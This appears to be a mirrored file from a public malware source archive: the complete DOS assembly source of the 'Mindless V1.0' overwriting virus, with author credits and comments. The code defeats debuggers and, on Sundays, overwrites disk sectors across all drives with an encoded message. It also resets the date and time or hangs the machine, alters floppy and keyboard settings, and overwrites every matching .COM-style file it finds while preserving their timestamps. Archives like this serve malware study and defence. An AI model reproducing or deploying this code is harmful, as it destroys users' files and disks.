mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
228 lines
5.5 KiB
NASM
228 lines
5.5 KiB
NASM
; The Mindless V1.0 Virus
|
||
;
|
||
; Type: *.COM Overwriter
|
||
;
|
||
; Programmer: Natas Kaupas
|
||
|
||
; Notes:
|
||
;
|
||
; Read the texts that come with this for all of the necessary
|
||
; info...if you've got any questions contact me on any YAM Dist. Sites.
|
||
;
|
||
; I Couldn't Have Made This Without:
|
||
;
|
||
; Soltan Griss -Kode4
|
||
; Data Disruptor -encrypted part
|
||
; Mr. Mike -typematic delay thing
|
||
; And Everyone I Forgot!
|
||
|
||
seg_a segment byte public
|
||
assume cs:seg_a, ds:seg_a
|
||
org 100h
|
||
|
||
|
||
MINDL proc far
|
||
start label near
|
||
db 0E9h,00h,00h
|
||
|
||
vstart equ $
|
||
|
||
mov cx,09EBh ;debug killer
|
||
mov ax,0FE05h ;
|
||
jmp $-2 ;
|
||
add ah,03Bh ;
|
||
jmp $-10 ;
|
||
|
||
push ds ;save old data segment
|
||
sub ax,ax ;put zero in ax
|
||
push ax ;save it on stack
|
||
|
||
mov ah,2ah ;get date
|
||
int 21h
|
||
cmp al,0 ;is it a Sunday?
|
||
jne rater ;no...don't format then
|
||
|
||
doom:
|
||
mov ax,3301h ;turn off ^C Check
|
||
xor dl,dl ;0
|
||
int 21h
|
||
|
||
mov cx,lident ;this all has to do with the encrypted
|
||
mov si,offset ident ;message
|
||
mov di,offset dest ;
|
||
doshit:
|
||
mov al,ds:[si] ;unencrypt message
|
||
mov temp,al ;
|
||
xor byte ptr ds:[temp],01h ;
|
||
mov al,temp ;
|
||
mov [di],al ;
|
||
inc si ;
|
||
inc di ;
|
||
loop doshit ;loop back and finish it
|
||
doomb:
|
||
cmp drive,27 ;format all drives
|
||
jge boot ;done...then end (boot)
|
||
pushf ;push flags on
|
||
mov al,drive ;find drive
|
||
mov cx,sectors ;find sectors
|
||
mov dx,0 ;start at sector 0
|
||
mov bx,offset dest ;write encrypted message
|
||
int 26h ;format
|
||
popf ;pop flags off
|
||
inc drive ;go up to next drive
|
||
jmp doomb ;repeat
|
||
|
||
;this was originally going to boot...but for some reason it couldn't format in
|
||
;time (before the boot), so it didn't format...oh well.
|
||
|
||
boot:
|
||
mov dl,2ch ;get system time
|
||
int 21h
|
||
and dl,0Fh ;AND 100th seconds by 0Fh
|
||
or dl,dl ;0?
|
||
jz locker ;yes..then lock up system
|
||
|
||
mov cx,1980 ;date, 1980
|
||
mov dx,0 ;mon/day, 0
|
||
mov ah,2Bh ;set date
|
||
int 21h
|
||
mov cx,0 ;hrs/min, 0
|
||
mov dx,0 ;sec, 0
|
||
mov ah,2Dh ;set time
|
||
int 21h
|
||
mov ax,3301h ;turn ^C Check back on
|
||
mov dl,1 ;1
|
||
int 21h
|
||
mov ax,4c00h ;end with error message 00
|
||
int 21h
|
||
|
||
locker:
|
||
jmp $ ;lock up computer
|
||
|
||
rater:
|
||
mov al,dl
|
||
mov dl,0c0h ;unkown ms, really grinds on mine though!
|
||
jz valid ;it must be around 15ms
|
||
;which is slow considering default is 9ms
|
||
;and most floppies can actually go under 6ms
|
||
|
||
valid:
|
||
push ds ;Save the data segment
|
||
mov bx,78h ;point to pointer for floppy drive tables
|
||
mov ax,0
|
||
mov ds,ax ;set to segment 0
|
||
mov ax,[bx] ;get the pointer
|
||
mov bx,ax ;into the bx register
|
||
mov al,[bx] ;now get the present step rate
|
||
and al,0fh ;remove the old step rate
|
||
or al,dl ;put in the new step rate
|
||
mov [bx],al ;and put it back where it goes
|
||
mov ah,0 ;now call on the BIOS to
|
||
int 13h ;reload the set floppy disk controller
|
||
pop ds ;Reset the Data Segment
|
||
|
||
go_on:
|
||
|
||
push ds ;save present data segment
|
||
|
||
mov bx,78h ;point to pointer for floppy drive tables
|
||
mov ax,0
|
||
mov ds,ax ;set to segment 0
|
||
mov ax,[bx] ;get the pointer
|
||
mov bx,ax ;into the bx register
|
||
mov al,[bx] ;now get the step rate
|
||
pop ds
|
||
push ax ;save the step rate on the stack
|
||
|
||
|
||
typematic:
|
||
mov bl,repeat ;get the parameters
|
||
mov bh,init ;
|
||
mov ax,305h ;set typematic rate and delay
|
||
int 16h ;
|
||
xor al,al ;errorlevel = 0
|
||
|
||
n_start: mov ah,4Eh ;Find first Com file in directory
|
||
mov dx,offset filename ;use "*.com"
|
||
int 21h
|
||
|
||
Back:
|
||
mov ah,43h ;get rid of read only protection
|
||
mov al,0 ;
|
||
mov dx,9eh ;
|
||
int 21h ;
|
||
mov ah,43h ;
|
||
mov al,01 ;
|
||
and cx,11111110b ;
|
||
int 21h ;
|
||
|
||
mov ax,3D01h ;Open file for writing
|
||
mov dx,9Eh ;get file name from file data area
|
||
int 21h
|
||
|
||
mov bx,ax ;save handle in bx
|
||
mov ah,57h ;get time date
|
||
mov al,0
|
||
int 21h
|
||
|
||
push cx ;put in stack for later
|
||
push dx
|
||
|
||
|
||
mov dx,100h ;Start writing at 100h
|
||
mov cx,(vend-vstart) ;write ?? bytes
|
||
mov ah,40h ;Write Data into the file
|
||
int 21h
|
||
|
||
|
||
pop dx ;Restore old dates and times
|
||
pop cx
|
||
mov ah,57h
|
||
mov al,01h
|
||
int 21h
|
||
|
||
|
||
|
||
mov ah,3Eh ;Close the file
|
||
int 21h
|
||
|
||
mov ah,4Fh ;Find Next file
|
||
int 21h
|
||
|
||
jnc Back
|
||
|
||
done:
|
||
|
||
int 20h ;Terminate Program
|
||
|
||
V_Length equ vend-vstart
|
||
|
||
drive db ?
|
||
sectors dw 456
|
||
|
||
filename db "*.c*",0
|
||
|
||
ident db "ZXntofrudsr!@f`horu!Lb@ggdd\!,O@U@R!J@TQ@R",13,10
|
||
db "Uid!Lhoemdrr!Whstr!w0/1!",13,10
|
||
|
||
;encrypted message:
|
||
;ident db "[Youngsters Against McAffee] -NATAS KAUPAS",13,10
|
||
; db "The Mindless Virus v1.0 ",13,10
|
||
|
||
lident equ $-ident
|
||
dest db [lident-1/2] dup (?)
|
||
temp db 0
|
||
|
||
repeat equ 250
|
||
init equ 0
|
||
|
||
mindl endp
|
||
|
||
vend equ $
|
||
|
||
seg_a ends
|
||
|
||
end start
|
||
|
||
|
||
|